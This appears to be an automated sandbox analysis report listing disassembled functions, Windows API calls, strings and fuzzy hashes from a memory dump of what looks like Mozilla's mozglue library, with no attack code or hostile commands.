Instruction Fuzzy Hash: BAB32A71E0121ACFDB14CFA8C890AADB7B6FF49304F1981A9D459AB745D730AD86CF90

Function 6C97FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7B8), ref: 6C97FF81
LeaveCriticalSection.KERNEL32(6C9EE7B8), ref: 6C98022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C980240
EnterCriticalSection.KERNEL32(6C9EE768), ref: 6C98025B
LeaveCriticalSection.KERNEL32(6C9EE768), ref: 6C98027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97FE99, 6C97FEB7, 6C97FED3, 6C980DB8, 6C980DD3, 6C9819B4, 6C981A10
MOZ_CRASH(), xrefs: 6C980CA7

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 8a685fee2c6a52d96f566c0bf1474ab2dac4b71d41e488a4b2facc62eba4fe64
Instruction ID: 7b8b8aaa097177d335eda028bfdcb606fb1684260865f104bf49e10d568d51a4
Opcode Fuzzy Hash: 8a685fee2c6a52d96f566c0bf1474ab2dac4b71d41e488a4b2facc62eba4fe64
Instruction Fuzzy Hash: 07B2C0716067418FD718CF29C590716BBE1BF8A328F28CA6DE96A8FB95C771D840CB40

Function 6C9B5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C9B5E79, 6C9B5E8F
schema, xrefs: 6C9B606D
data, xrefs: 6C9B6131
expected a Time entry, xrefs: 6C9B5CB6
expected a Count entry, xrefs: 6C9B5AC3
ProfileBuffer parse error: %s, xrefs: 6C9B5AC8, 6C9B5CBB

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: afa7780501a7864f5fdb5ed10959dd1737c1a39a329c80efeab0de8a0c9a14c5
Instruction ID: 7d003f8660a84b44d0618586ceae1dcae65d3a5396797a5e5eca18861ed5dbdd
Opcode Fuzzy Hash: afa7780501a7864f5fdb5ed10959dd1737c1a39a329c80efeab0de8a0c9a14c5
Instruction Fuzzy Hash: C8926BB1A087419FD724CF28C49079BBBE1BFD9308F15891DE599AB751DB30E809CB92

Function 6C9B2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9B2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9B3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9B378D
set , xrefs: 6C9B36EC
get , xrefs: 6C9B3205

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 6bef3960a6bdda05fa4be7ef232fcfb35d24026afe602b5e218839815039843a
Instruction ID: d3226749d973220bd2d666b4a62b7fcccb49fc895fbf21b895538a076093b23b
Opcode Fuzzy Hash: 6bef3960a6bdda05fa4be7ef232fcfb35d24026afe602b5e218839815039843a
Instruction Fuzzy Hash: DB328EB0208781AFD324CF24C48069FB7E6BFD9318F54891DE599A7751DB30E94ACB52

Function 6C9A7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C9A7ECF, 6C9A8335
(pre-xul), xrefs: 6C9A7E88
schema, xrefs: 6C9A81E3, 6C9A8311
data, xrefs: 6C9A8280, 6C9A83E1

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: b416df43dd5ed532af6929753798ad700afc173e49fda19df7f253ed700febce
Instruction ID: 9d68f13aa6c3d4749f26215d8680c3b0c914c1e435646556d352cf76d0483218
Opcode Fuzzy Hash: b416df43dd5ed532af6929753798ad700afc173e49fda19df7f253ed700febce
Instruction Fuzzy Hash: 11E19FB1A043408FD710CF68884165BFBE9BFA9314F158A2DE895E7791DB70ED098B91

Function 6C98D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D4F2
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D50B

Part of subcall function 6C96CFE0: EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
Part of subcall function 6C96CFE0: LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D52E
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98D6A6
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D712
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98D7EA

Strings

<jemalloc>, xrefs: 6C98D827
: (malloc) Error initializing arena, xrefs: 6C98D82C

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: ba74b235e7a4429faefd7a8573a99aea96dd6470d23a1550a831f2623ee0a569
Instruction ID: aa36dea1bc415cec6ac9dc55b4b33a3a95915be77ebb6fc5544f70e4c791609c
Opcode Fuzzy Hash: ba74b235e7a4429faefd7a8573a99aea96dd6470d23a1550a831f2623ee0a569
Instruction Fuzzy Hash: E991C072A097068FDB54CF29C49022AB7E5FFA9714F248D2FE45A87B85D730E840CB81

Function 6C985E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2
memset.VCRUNTIME140(6C9C7765,000000E5,9EC09015), ref: 6C9861F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C987652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C987BCD, 6C987C1F, 6C987C34, 6C9880FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9872E3
MOZ_CRASH(), xrefs: 6C987BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C98730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9872F8

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 21f2b892cda81bbe3a3e103384874709048adbd7d17baddadad44e0807a037b4
Instruction ID: ef0e232994f97a4720211965b034ab0b2b3b809d56b292e660a808940fe7bba2
Opcode Fuzzy Hash: 21f2b892cda81bbe3a3e103384874709048adbd7d17baddadad44e0807a037b4
Instruction Fuzzy Hash: 92337C716167018FD308CF29C590715BBE2BF85328F29CAADE96A8F7A5D731E841CB41

Function 6C963480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C963492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C9634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C9634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C96350E
__Init_thread_footer.LIBCMT ref: 6C963522
__aulldiv.LIBCMT ref: 6C963552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C96357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C963592

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

Strings

kernel32.dll, xrefs: 6C9634EA
GetSystemTimePreciseAsFileTime, xrefs: 6C963508

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e420eb779241901bd7f3fb9bd330ba076284763eb4522cb2515681fa85d8833c
Instruction ID: 648fb938fede8a9c6fb3ecaed2b143ec0ed9b7b747dc9823ce8965afd75ab121
Opcode Fuzzy Hash: e420eb779241901bd7f3fb9bd330ba076284763eb4522cb2515681fa85d8833c
Instruction Fuzzy Hash: 2331C771B042099BDF40DFB5D848AAE7779FF6E708F24441AE505D3A90DB31D904CBA0

Function 6C9C4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9C4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4F2E
moz_xmalloc.MOZGLUE ref: 6C9C4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9C4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C52E6
Sleep.KERNEL32(00000010), ref: 6C9C5481
free.MOZGLUE(?), ref: 6C9C5498

Strings

(, xrefs: 6C9C5250

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 54e048a4752f7024aa293bb6fa67bc5032acd306c91a34d4f03200606b43e477
Instruction ID: 906b5c8a08bf72acfc951c83787694e70620791c3a60e6fdf97a3e14fa3afd2d
Opcode Fuzzy Hash: 54e048a4752f7024aa293bb6fa67bc5032acd306c91a34d4f03200606b43e477
Instruction Fuzzy Hash: 50F1A271A18B408FC716CF39C85062BB7F9AFE6284F158B2EF846A7651DB31D445CB82

Function 6C977810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C977885
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C9778A5
EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C9778AD
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C9778CD
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9778D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9778E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C97795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9779BB
LeaveCriticalSection.KERNEL32(?), ref: 6C977BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C977C82
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C977CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C977DAF

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: d22126c70770079dcdd4827d100e457dbbc1381ddc09a68813016c204bcb4de8
Instruction ID: ba170a5d3daaf6b335d6b3da00ff7b02fed92d99bee23564c8c0ce7ba07f244f
Opcode Fuzzy Hash: d22126c70770079dcdd4827d100e457dbbc1381ddc09a68813016c204bcb4de8
Instruction Fuzzy Hash: 1B027471A0521ACFDB65CF19C584799B7B5FF98314F2942AAD809A7701D730ED90CF90

Function 6C9C5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9C6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C96EE51,?), ref: 6C9C6046
OutputDebugStringA.KERNEL32(?,6C96EE51,?), ref: 6C9C6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9E148E), ref: 6C9C6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C96EE51,00000000,?), ref: 6C9C60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C60C4

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: ea0b68077fa64ffd76dcc47ef03e6f4f69b179985f30176288c68950faa8d9a7
Instruction ID: d92c8d129c0a24130f979a2f763636445208d064b71910aab2c04378a409b6b7
Opcode Fuzzy Hash: ea0b68077fa64ffd76dcc47ef03e6f4f69b179985f30176288c68950faa8d9a7
Instruction Fuzzy Hash: AF21E771A003089FDF10AF25DC09BAE7BB8FF59214F108428E85AA7241CB35E558CFD6

Function 6C9C7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9C7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9C7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C707E

Part of subcall function 6C9781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9781DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C709C
LocalFree.KERNEL32(?), ref: 6C9C70AA

Strings

(null), xrefs: 6C9C706A, 6C9C7083
### ERROR: %s: %s, xrefs: 6C9C7087

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 799d50ae2c8cd4392b7396ed99514a563573442b8f12c1fd3b3a1d9ce1cbd790
Instruction ID: 50fe69005c182e798a9f15668ccba81107089ea7272f5e11be6f008f9f28ce09
Opcode Fuzzy Hash: 799d50ae2c8cd4392b7396ed99514a563573442b8f12c1fd3b3a1d9ce1cbd790
Instruction Fuzzy Hash: B001F9B1A00204AFDB40ABA4DC0ADAF7BBCEF5D215F110438FA05A3241E631A9148BE5

Function 6C989E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C989EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C989F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C989F34
LeaveCriticalSection.KERNEL32(?), ref: 6C98A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C98A8B1, 6C98A8D4, 6C98A8EF

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: cde5646b796971ff5ae54760adf51a12e01acdd0eb05b015ade1a5c8bd69a31b
Instruction ID: 5fbc5079064593bcb9c93d3442eddf73db190925f6fb4ff7465c25f263bc933a
Opcode Fuzzy Hash: cde5646b796971ff5ae54760adf51a12e01acdd0eb05b015ade1a5c8bd69a31b
Instruction Fuzzy Hash: 5D728D72A067118FD714CF28C540215FBE5BF89328F2ACAADE8699B7D1D735E841CB80

Function 6C9B2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B2C61

Part of subcall function 6C964DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
Part of subcall function 6C964DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B2E2D

Part of subcall function 6C9781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9781DE

Strings

(root), xrefs: 6C9B354F
expected a Time entry, xrefs: 6C9B2E36
ProfileBuffer parse error: %s, xrefs: 6C9B2E3B

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 051c9d082c5821644c26f3b8e480c488fc55b8b01ee6521ea9ca19aa7f22a088
Instruction ID: 0e82305e77267a25958e945baa88ae0951f10a098b746c708860881212eb99dd
Opcode Fuzzy Hash: 051c9d082c5821644c26f3b8e480c488fc55b8b01ee6521ea9ca19aa7f22a088
Instruction Fuzzy Hash: 4791BFB0608B40AFC724CF24C49469FB7E5EFD9358F10891DE59AAB750DB30E949CB52

Function 6C98C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C98C317
MOZ_CRASH(), xrefs: 6C98D4BB

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: a0559201fb54e4bb5dbdf6e5a296bf40641f38dc39e42f3d8cfade126cc7b4d0
Instruction ID: d6823aab76d6d217b7a1c47d9074fd7f92bfa692dc26a7ff4b3ebf7128c90589
Opcode Fuzzy Hash: a0559201fb54e4bb5dbdf6e5a296bf40641f38dc39e42f3d8cfade126cc7b4d0
